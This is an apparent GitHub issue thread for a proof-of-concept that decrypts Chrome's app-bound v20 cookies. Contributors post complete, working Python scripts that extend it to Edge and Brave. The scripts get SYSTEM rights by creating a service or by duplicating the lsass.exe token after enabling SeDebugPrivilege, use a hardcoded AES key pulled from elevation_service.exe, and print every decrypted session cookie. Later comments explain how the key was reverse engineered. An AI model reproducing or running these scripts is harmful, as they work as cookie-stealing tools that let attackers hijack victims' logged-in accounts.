runassu / chrome_v20_decryption

Chrome COOKIE v20 decryption PoC
49 stars 6 forks source link

Add support for Brave and Edge #7

Open thewh1teagle opened 1 month ago

thewh1teagle commented 1 month ago

Brave

local_state_path = rf"{user_profile}\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State"
cookie_db_path = rf"{user_profile}\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies"

Edge

local_state_path = rf"{user_profile}\AppData\Local\Microsoft\Edge\User Data\Local State"
cookie_db_path = rf"{user_profile}\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies"

Errors:

  File "D:\rookie\rookie\test.py", line 57, in <module>
    assert(decrypted_key[0] == 1)
           ^^^^^^^^^^^^^^^^^^^^^
AssertionError

When I remove assertion

MAC check failed

I think the only things we need is the hardcoded key from elevation_service.exe and correct the index of the AES key

https://github.com/runassu/chrome_v20_decryption/blob/0d7b40ec835399dcd43113fa62907625e913da08/decrypt_chrome_v20_cookie.py#L49

https://github.com/runassu/chrome_v20_decryption/blob/0d7b40ec835399dcd43113fa62907625e913da08/decrypt_chrome_v20_cookie.py#L58

thewh1teagle commented 4 weeks ago

Added support for Brave and Edge

import os
import json
import sys
import binascii
from pypsexec.client import Client
from Crypto.Cipher import AES
import sqlite3
import pathlib

BROWSER = "brave" # edge, brave, chrome

LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
BROWSERS = {
    "chrome": {
        "aes_key": "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=",
        "decrypted_key_start_index": -61,
        "key_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Local State",
        "db_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Default\Network\Cookies",
    },
    "edge": {
        "aes_key": "",
        "key_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Local State",
        "db_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Default\Network\Cookies",
    },
    "brave": {
        "aes_key": "",
        "key_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Local State",
        "db_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies",
    }
}

browser = BROWSERS[BROWSER]
key_path = browser['key_path']
db_path  = browser['db_path']

with open(key_path, "r") as f:
    local_state = json.load(f)

app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]

arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""

c = Client("localhost")
c.connect()

try:
    c.create_service()

    assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
    app_bound_encrypted_key_b64 = binascii.b2a_base64(
        binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip()

    # decrypt with SYSTEM DPAPI
    encrypted_key_b64, stderr, rc = c.run_executable(
        sys.executable,
        arguments=arguments.format(app_bound_encrypted_key_b64),
        use_system_account=True
    )

    # decrypt with user DPAPI
    decrypted_key_b64, stderr, rc = c.run_executable(
        sys.executable,
        arguments=arguments.format(encrypted_key_b64.decode().strip()),
        use_system_account=False
    )

    decrypted_key = binascii.a2b_base64(decrypted_key_b64)

finally:
    c.remove_service()
    c.disconnect()

if browser['aes_key']:
  decrypted_key = decrypted_key[browser['decrypted_key_start_index']:]
  assert(decrypted_key[0] == 1)
  # decrypt key with AES256GCM
  # aes key from elevation_service.exe
  aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")

  # [flag|iv|ciphertext|tag] decrypted_key
  # [1byte|12bytes|variable|16bytes]
  iv = decrypted_key[1:1+12]
  ciphertext = decrypted_key[1+12:1+12+32]
  tag = decrypted_key[1+12+32:]

  cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
  key = cipher.decrypt_and_verify(ciphertext, tag)
else:
  key = decrypted_key[-32:]

print(binascii.b2a_base64(key))

# fetch all v20 cookies
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()

# decrypt v20 cookie with AES256GCM
# [flag|iv|ciphertext|tag] encrypted_value
# [3bytes|12bytes|variable|16bytes]
def decrypt_cookie_v20(encrypted_value):
    cookie_iv = encrypted_value[3:3+12]
    encrypted_cookie = encrypted_value[3+12:-16]
    cookie_tag = encrypted_value[-16:]
    cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
    decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
    return decrypted_cookie[32:].decode('utf-8')

for c in cookies_v20:
    print(c[0], c[1], decrypt_cookie_v20(c[2]))
runassu commented 4 weeks ago

Thanks, I'll look into it later

thewh1teagle commented 3 weeks ago

Another version without need to create service, using Windows API.

main.py ```python """ pip install pywin32 pycryptodome python main.py """ import ctypes, win32api, win32con, win32security, win32crypt, win32process from ctypes import wintypes import os, json, binascii, sqlite3, pathlib from Crypto.Cipher import AES class Impersonator: """ Enables impersonation of the Local System account by obtaining necessary privileges, opening the LSASS process, and duplicating the system token. The start method starts impersonation, and close ends it, releasing resources. """ def __init__(self): self.lsass_handle = None self.duplicated_token = None def _enable_privilege(self): privilege = 20 # SE_DEBUG_PRIVILEGE previous_value = wintypes.BOOL() ret = ctypes.windll.ntdll.RtlAdjustPrivilege(privilege, True, False, ctypes.byref(previous_value)) if ret != 0: raise OSError(f"RtlAdjustPrivilege failed with status: {ret:x}") def _get_lsass_handle(self): processes = win32process.EnumProcesses() for pid in processes: try: handle = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid) except: continue executable_name = win32process.GetModuleFileNameEx(handle, 0).lower() if "lsass.exe" in executable_name: self.lsass_handle = handle return win32api.CloseHandle(handle) raise OSError('lsass.exe process not found!') def _get_system_token(self): token_handle = win32security.OpenProcessToken(self.lsass_handle, win32con.TOKEN_DUPLICATE | win32con.TOKEN_QUERY) duplicated_token = wintypes.HANDLE() duplicated_token = win32security.DuplicateToken(token_handle, win32security.SecurityImpersonation) win32api.CloseHandle(token_handle) return duplicated_token def start(self): self._enable_privilege() self._get_lsass_handle() self.duplicated_token = self._get_system_token() win32security.ImpersonateLoggedOnUser(self.duplicated_token) def close(self): win32api.CloseHandle(self.duplicated_token) win32api.CloseHandle(self.lsass_handle) win32security.RevertToSelf() BROWSER = "chrome" # edge, brave, chrome LOCAL_APP_DATA = os.environ['LOCALAPPDATA'] BROWSERS = { "chrome": { "aes_key": "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=", "decrypted_key_start_index": -61, "key_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Local State", "db_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Default\Network\Cookies", }, "edge": { "aes_key": "", "key_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Local State", "db_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Default\Network\Cookies", }, "brave": { "aes_key": "", "key_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Local State", "db_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies", } } browser = BROWSERS[BROWSER] key_path = browser['key_path'] db_path = browser['db_path'] with open(key_path, "r") as f: local_state = json.load(f) app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"] arguments = "-c \"" + """import win32crypt import binascii encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0) print(binascii.b2a_base64(encrypted_key[1]).decode()) """.replace("\n", ";") + "\"" assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB") app_bound_encrypted_key = binascii.a2b_base64(app_bound_encrypted_key)[4:] # decrypt with SYSTEM DPAPI impersonator = Impersonator() impersonator.start() encrypted_key = win32crypt.CryptUnprotectData(app_bound_encrypted_key, None, None, None, 0)[1] impersonator.close() # decrypt with user DPAPI decrypted_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1] if browser['aes_key']: decrypted_key = decrypted_key[browser['decrypted_key_start_index']:] assert(decrypted_key[0] == 1) # decrypt key with AES256GCM # aes key from elevation_service.exe aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=") # [flag|iv|ciphertext|tag] decrypted_key # [1byte|12bytes|variable|16bytes] iv = decrypted_key[1:1+12] ciphertext = decrypted_key[1+12:1+12+32] tag = decrypted_key[1+12+32:] cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv) key = cipher.decrypt_and_verify(ciphertext, tag) else: key = decrypted_key[-32:] print(binascii.b2a_base64(key)) # fetch all v20 cookies con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True) cur = con.cursor() r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;") cookies = cur.fetchall() cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"] con.close() # decrypt v20 cookie with AES256GCM # [flag|iv|ciphertext|tag] encrypted_value # [3bytes|12bytes|variable|16bytes] def decrypt_cookie_v20(encrypted_value): cookie_iv = encrypted_value[3:3+12] encrypted_cookie = encrypted_value[3+12:-16] cookie_tag = encrypted_value[-16:] cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv) decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag) return decrypted_cookie[32:].decode('utf-8') for c in cookies_v20: print(c[0], c[1], decrypt_cookie_v20(c[2])) ```
blul1ghtz commented 3 weeks ago

what method was used to get the original hardcoded key for aes decryption with chrome? ("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")

thewh1teagle commented 3 weeks ago

@runassu

I'd love to hear how you found the hardcoded string or identified the need to switch from SYSTEM to USER with DPAPI. Did you rely solely on static analysis, or did you also debug it at runtime? If so, how did you manage to debug the subprocesses?

If you're unable to share specifics, any related info or even intriguing challenges to help me learn more in this direction would be fantastic. Thanks!

runassu commented 3 weeks ago

@thewh1teagle @blul1ghtz

In the Chromium source code, you'll find Decrypt using the SYSTEM dpapi store and Decrypt using the user store.

https://github.com/chromium/chromium/blob/3abae3a11040d99cb863eedaec5b1730cb5978bc/chrome/elevation_service/elevator.cc#L169

https://github.com/chromium/chromium/blob/3abae3a11040d99cb863eedaec5b1730cb5978bc/chrome/elevation_service/elevator.cc#L186

The AES decryption step is part of the internal code, so reverse engineering of the release binary file is required.

https://github.com/chromium/chromium/blob/3abae3a11040d99cb863eedaec5b1730cb5978bc/chrome/elevation_service/elevator.cc#L226

https://github.com/chromium/chromium/blob/3abae3a11040d99cb863eedaec5b1730cb5978bc/chrome/elevation_service/BUILD.gn#L99

After understanding the code above, I used Ghidra to locate the PostProcessData function in elevation_service.exe, then attached x64dbg to the process for further analysis. However, if you're open to it, relying solely on static analysis or debugging is sufficient, as this program does not employ obfuscation. If you have experience in reverse engineering cryptographic functions, the characteristics of the AES function are easy to identify.

blul1ghtz commented 3 weeks ago

@runassu I was able to find PostProcessData function but couldn't find a way to extract any value. definitely requires some experience in reverse engineering but thanks for letting us know

jamiekarvans commented 3 weeks ago

@thewh1teagle @blul1ghtz

In the Chromium source code, you'll find Decrypt using the SYSTEM dpapi store and Decrypt using the user store.

  • SYSTEM DPAPI Store Decryption

https://github.com/chromium/chromium/blob/3abae3a11040d99cb863eedaec5b1730cb5978bc/chrome/elevation_service/elevator.cc#L169

  • User Store Decryption

https://github.com/chromium/chromium/blob/3abae3a11040d99cb863eedaec5b1730cb5978bc/chrome/elevation_service/elevator.cc#L186

The AES decryption step is part of the internal code, so reverse engineering of the release binary file is required.

  • Internal function NOT in source code

https://github.com/chromium/chromium/blob/3abae3a11040d99cb863eedaec5b1730cb5978bc/chrome/elevation_service/elevator.cc#L226

  • BUILD Script that including internal code

https://github.com/chromium/chromium/blob/3abae3a11040d99cb863eedaec5b1730cb5978bc/chrome/elevation_service/BUILD.gn#L99

After understanding the code above, I used Ghidra to locate the PostProcessData function in elevation_service.exe, then attached x64dbg to the process for further analysis. However, if you're open to it, relying solely on static analysis or debugging is sufficient, as this program does not employ obfuscation. If you have experience in reverse engineering cryptographic functions, the characteristics of the AES function are easy to identify.

hey thanks for the info, you have really good knowlege in programming and finding how things work out, can i ask you how long did it took you to become this good? and can i also know about how does this pays back to you in life? maybe an estimate of how much you earn or what job do you have and how much it pays you?

i really like to get more advanced in programming as i already am kinda good with python but i have no idea if it worths it if i follow it or what should i expect when i reach your level. thanks a lot if you consider to put the time and answer this, i apperciate it already.

yourdataleaked commented 2 weeks ago

Now we will try to sniff Edge and Yandex Browser for get elevation_keys Will notify you or add PR for it